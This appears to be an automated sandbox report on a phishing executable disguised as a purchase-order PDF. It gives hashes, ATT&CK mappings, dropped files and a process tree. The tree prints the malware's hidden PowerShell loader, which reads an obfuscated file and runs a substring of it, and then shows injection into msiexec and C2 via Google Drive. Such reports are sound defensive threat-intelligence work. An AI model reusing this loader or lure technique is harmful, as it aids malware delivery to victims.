1e23b22ac7911dd458acdaaccfd418304a450c938c8ec466d8fbc48fd0e6d9bd

General

Target

PURCHASE ORDER 006-2024 GIA-AV Rev 1_pdf.exe
Size

831KB
MD5

c4faffa021478685316c135cd34ed748
SHA1

df5fafcc42f6a31cf4f6ac615f3716b456d09d5f
SHA256

1e23b22ac7911dd458acdaaccfd418304a450c938c8ec466d8fbc48fd0e6d9bd
SHA512

432b2d8d82336779fbf63d29377b17ea912ab6b371f92e2c6d741a0e04bd27e618e9a723f2f5b6d39cdb00cf1d3104bd2ecd83b982965ba3387119f42dd7e51c
SSDEEP

12288:9/AKvOLTbCKfneL+I0gr4Rc6LXaZMljR0lE/V5Je0sZptLOijNu7D0p:6oOLTb7e6I0g8HLX7jH5toptKigD2

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
392	powershell.exe

Blocklisted process makes network request 5 IoCs

flow	pid	Process
23	1244	msiexec.exe
25	1244	msiexec.exe
27	1244	msiexec.exe
29	1244	msiexec.exe
33	1244	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
22	drive.google.com
23	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1244	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
392	powershell.exe
1244	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3140	1244	WerFault.exe	91

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PURCHASE ORDER 006-2024 GIA-AV Rev 1_pdf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
392	powershell.exe
392	powershell.exe
392	powershell.exe
392	powershell.exe
392	powershell.exe
392	powershell.exe
392	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
392	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	392	powershell.exe
Token: SeIncreaseQuotaPrivilege	392	powershell.exe
Token: SeSecurityPrivilege	392	powershell.exe
Token: SeTakeOwnershipPrivilege	392	powershell.exe
Token: SeLoadDriverPrivilege	392	powershell.exe
Token: SeSystemProfilePrivilege	392	powershell.exe
Token: SeSystemtimePrivilege	392	powershell.exe
Token: SeProfSingleProcessPrivilege	392	powershell.exe
Token: SeIncBasePriorityPrivilege	392	powershell.exe
Token: SeCreatePagefilePrivilege	392	powershell.exe
Token: SeBackupPrivilege	392	powershell.exe
Token: SeRestorePrivilege	392	powershell.exe
Token: SeShutdownPrivilege	392	powershell.exe
Token: SeDebugPrivilege	392	powershell.exe
Token: SeSystemEnvironmentPrivilege	392	powershell.exe
Token: SeRemoteShutdownPrivilege	392	powershell.exe
Token: SeUndockPrivilege	392	powershell.exe
Token: SeManageVolumePrivilege	392	powershell.exe
Token: 33	392	powershell.exe
Token: 34	392	powershell.exe
Token: 35	392	powershell.exe
Token: 36	392	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4120 wrote to memory of 392	4120	PURCHASE ORDER 006-2024 GIA-AV Rev 1_pdf.exe	82
PID 4120 wrote to memory of 392	4120	PURCHASE ORDER 006-2024 GIA-AV Rev 1_pdf.exe	82
PID 4120 wrote to memory of 392	4120	PURCHASE ORDER 006-2024 GIA-AV Rev 1_pdf.exe	82
PID 392 wrote to memory of 1244	392	powershell.exe	91
PID 392 wrote to memory of 1244	392	powershell.exe	91
PID 392 wrote to memory of 1244	392	powershell.exe	91
PID 392 wrote to memory of 1244	392	powershell.exe	91

C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER 006-2024 GIA-AV Rev 1_pdf.exe
"C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER 006-2024 GIA-AV Rev 1_pdf.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4120
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Operationalist=gc -raw 'C:\Users\Admin\AppData\Local\faatallige\Enthusiastical\Equoid.Dol';$halvmaanedlig=$Operationalist.SubString(7767,3);.$halvmaanedlig($Operationalist) "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:392
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:1244
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1244 -s 2036
      4⤵
      Program crash
      PID:3140

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 1244 -ip 1244
1⤵
PID:4812

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_adrpw2wl.yta.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\faatallige\Enthusiastical\Equoid.Dol

Filesize
70KB

MD5
70347ba7a0411af596b716d4e24f4340

SHA1
0e4a93bd6a7652be138827121992bc8927528c0b

SHA256
76e87ae28a8c236fbe4e7ab1c8d3a15cc770442e9484629085b0269f30bf1007

SHA512
eeba8e0879e5b11fb3b6443469c7d844c65d4e0cc38d4a88299c7cb8ed812ceadf93d976721f732a49c5e5f66656d27dc5d6e2648bcfe7ebff3a62381a075e31

Download Submit
C:\Users\Admin\AppData\Local\faatallige\Rickey.Ora140

Filesize
332KB

MD5
c65a69baca5afb03d74ef680928da6b8

SHA1
5dacf7758409b02694ffefedd5766f29af417d9f

SHA256
93f620bb2b869a91b085a18c8910d7604e9cddeab05fb9ab343e5a2216dcac9f

SHA512
d86a697609a1be465c2c613ea97fa9d81b16718faa7f9380044e63b7a5121e9a52a5a217d35e4af2a12742fefabc7f7e6912e31f46099cf732fcf52a5302d01c

Download Submit
memory/392-26-0x00000000061E0000-0x00000000061FE000-memory.dmp

Filesize
120KB

Download
memory/392-47-0x00000000075F0000-0x000000000760E000-memory.dmp

Filesize
120KB

Download
memory/392-12-0x0000000005950000-0x0000000005972000-memory.dmp

Filesize
136KB

Download
memory/392-14-0x0000000005AF0000-0x0000000005B56000-memory.dmp

Filesize
408KB

Download
memory/392-15-0x0000000005B60000-0x0000000005BC6000-memory.dmp

Filesize
408KB

Download
memory/392-48-0x0000000074AF0000-0x00000000752A0000-memory.dmp

Filesize
7.7MB

Download
memory/392-21-0x0000000005BD0000-0x0000000005F24000-memory.dmp

Filesize
3.3MB

Download
memory/392-8-0x0000000074AFE000-0x0000000074AFF000-memory.dmp

Filesize
4KB

Download
memory/392-27-0x0000000006210000-0x000000000625C000-memory.dmp

Filesize
304KB

Download
memory/392-28-0x00000000071A0000-0x0000000007236000-memory.dmp

Filesize
600KB

Download
memory/392-29-0x00000000066F0000-0x000000000670A000-memory.dmp

Filesize
104KB

Download
memory/392-30-0x0000000006740000-0x0000000006762000-memory.dmp

Filesize
136KB

Download
memory/392-31-0x0000000007830000-0x0000000007DD4000-memory.dmp

Filesize
5.6MB

Download
memory/392-11-0x00000000052F0000-0x0000000005918000-memory.dmp

Filesize
6.2MB

Download
memory/392-33-0x0000000008460000-0x0000000008ADA000-memory.dmp

Filesize
6.5MB

Download
memory/392-35-0x0000000070910000-0x000000007095C000-memory.dmp

Filesize
304KB

Download
memory/392-34-0x0000000007610000-0x0000000007642000-memory.dmp

Filesize
200KB

Download
memory/392-36-0x00000000710B0000-0x0000000071404000-memory.dmp

Filesize
3.3MB

Download
memory/392-13-0x0000000074AF0000-0x00000000752A0000-memory.dmp

Filesize
7.7MB

Download
memory/392-39-0x0000000074AF0000-0x00000000752A0000-memory.dmp

Filesize
7.7MB

Download
memory/392-10-0x0000000074AF0000-0x00000000752A0000-memory.dmp

Filesize
7.7MB

Download
memory/392-49-0x0000000007660000-0x0000000007703000-memory.dmp

Filesize
652KB

Download
memory/392-50-0x0000000007780000-0x000000000778A000-memory.dmp

Filesize
40KB

Download
memory/392-51-0x00000000077C0000-0x00000000077EA000-memory.dmp

Filesize
168KB

Download
memory/392-52-0x00000000077F0000-0x0000000007814000-memory.dmp

Filesize
144KB

Download
memory/392-53-0x0000000074AF0000-0x00000000752A0000-memory.dmp

Filesize
7.7MB

Download
memory/392-54-0x0000000074AF0000-0x00000000752A0000-memory.dmp

Filesize
7.7MB

Download
memory/392-9-0x0000000004C00000-0x0000000004C36000-memory.dmp

Filesize
216KB

Download
memory/392-56-0x0000000074AF0000-0x00000000752A0000-memory.dmp

Filesize
7.7MB

Download
memory/392-57-0x0000000074AFE000-0x0000000074AFF000-memory.dmp

Filesize
4KB

Download
memory/392-59-0x0000000074AF0000-0x00000000752A0000-memory.dmp

Filesize
7.7MB

Download
memory/392-58-0x0000000008AE0000-0x000000000B533000-memory.dmp

Filesize
42.3MB

Download
memory/392-60-0x0000000074AF0000-0x00000000752A0000-memory.dmp

Filesize
7.7MB

Download
memory/392-61-0x0000000074AF0000-0x00000000752A0000-memory.dmp

Filesize
7.7MB

Download
memory/392-62-0x0000000074AF0000-0x00000000752A0000-memory.dmp

Filesize
7.7MB

Download
memory/392-63-0x0000000074AF0000-0x00000000752A0000-memory.dmp

Filesize
7.7MB

Download
memory/1244-76-0x0000000000800000-0x0000000001A54000-memory.dmp

Filesize
18.3MB

Download

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